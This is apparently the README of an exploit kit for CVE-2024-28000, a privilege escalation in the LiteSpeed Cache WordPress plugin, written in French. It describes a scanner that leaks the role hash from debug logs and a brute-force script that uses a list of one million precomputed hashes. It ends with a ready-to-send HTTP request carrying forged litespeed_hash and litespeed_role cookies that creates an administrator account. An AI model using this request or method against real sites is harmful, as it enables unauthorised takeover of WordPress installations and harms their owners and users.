LiteSpeed Cache Privilege Escalation Exp

CVE-2024-28000_Scan.py

Ce script commence par identifier la version et déterminer si elle est vulnérable, puis tente de vérifier si le fichier log existe. S'il existe, il envoie un paquet et demande à nouveau le fichier log pour tenter de trouver une fuite de hash. Si LiteSpeed active le debug, il peut divulguer le hash correct.

usage: CVE-2024-28000_Scan.py [-h] [-f F] [-t T] [-p PROXY]

CVE-2024-28000 Scan

optional arguments:
  -h, --help            show this help message and exit
  -f F                  File list
  -t T                  Scan thread
  -p PROXY, --proxy PROXY
                        Example: socks5://127.0.0.1:10808

Exemple :

09/08/24 16:30:38.219 [0.0.0.0:26008 1 TG9] 💓 ------POST HTTP/1.1 (HTTPS)  /wp-json/wp/v2/users
09/08/24 16:30:38.219 [0.0.0.0:26008 1 TG9] Query String: 
09/08/24 16:30:38.231 [0.0.0.0:26008 1 TG9] [Router] starting role validation
09/08/24 16:30:38.232 [0.0.0.0:26008 1 TG9] [Router] hash not match zasws5 != pkHrfD
09/08/24 16:30:38.232 [0.0.0.0:26008 1 TG9] [Router] get_role: 
09/08/24 16:30:38.241 [0.0.0.0:26008 1 TG9] [Optm] init

Si LiteSpeed active le debug, il est possible de voir un journal similaire à celui ci-dessus, où pkHrfD est le hash correct.

CVE-2024-28000_Exploit.py

Les tests montrent que les hash générés par Python et PHP sont différents, donc la liste de hash ne peut pas être générée par Python. Le fichier Hash_list.txt contient 1 000 000 de hash générés par PHP. Théoriquement, il suffit de parcourir au maximum 1 000 000 d'itérations pour trouver le hash correct.

usage: CVE-2024-28000_Exploit.py [-h] [-u U] [-t T] [-d D] [-p PROXY]

CVE-2024-28000

optional arguments:
  -h, --help            show this help message and exit
  -u U                  url
  -t T                  Scan thread
  -d D                  Dict list
  -p PROXY, --proxy PROXY
                        Example: socks5://127.0.0.1:10808

Le paramètre -d est la liste de hash, -u l'URL, -t le nombre de threads (il est déconseillé d'utiliser un nombre de threads trop élevé).

Test

Lors des tests en environnement isolé, le hash a été trouvé avec succès, et après cinq réinstallations, il a été confirmé que le hash se trouve dans la liste générée. Cependant, de nombreux aspects indiquent que le taux de succès en situation réelle est faible.
Une fois le hash correct trouvé, vous pouvez utiliser le paquet ci-dessous pour ajouter un utilisateur admin.

POST /wp-json/wp/v2/users HTTP/2
Host: xxx.com
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Cookie: litespeed_hash=hash_correct; litespeed_role=1
Content-Length: 122
Content-Type: application/json

{"username": "username", "password": "password", "email": "[email protected]", "roles": ["administrator"]}

CVE-2024-28000

Populaires

LiteSpeed Cache Privilege Escalation Exp

CVE-2024-28000_Scan.py

CVE-2024-28000_Exploit.py

Test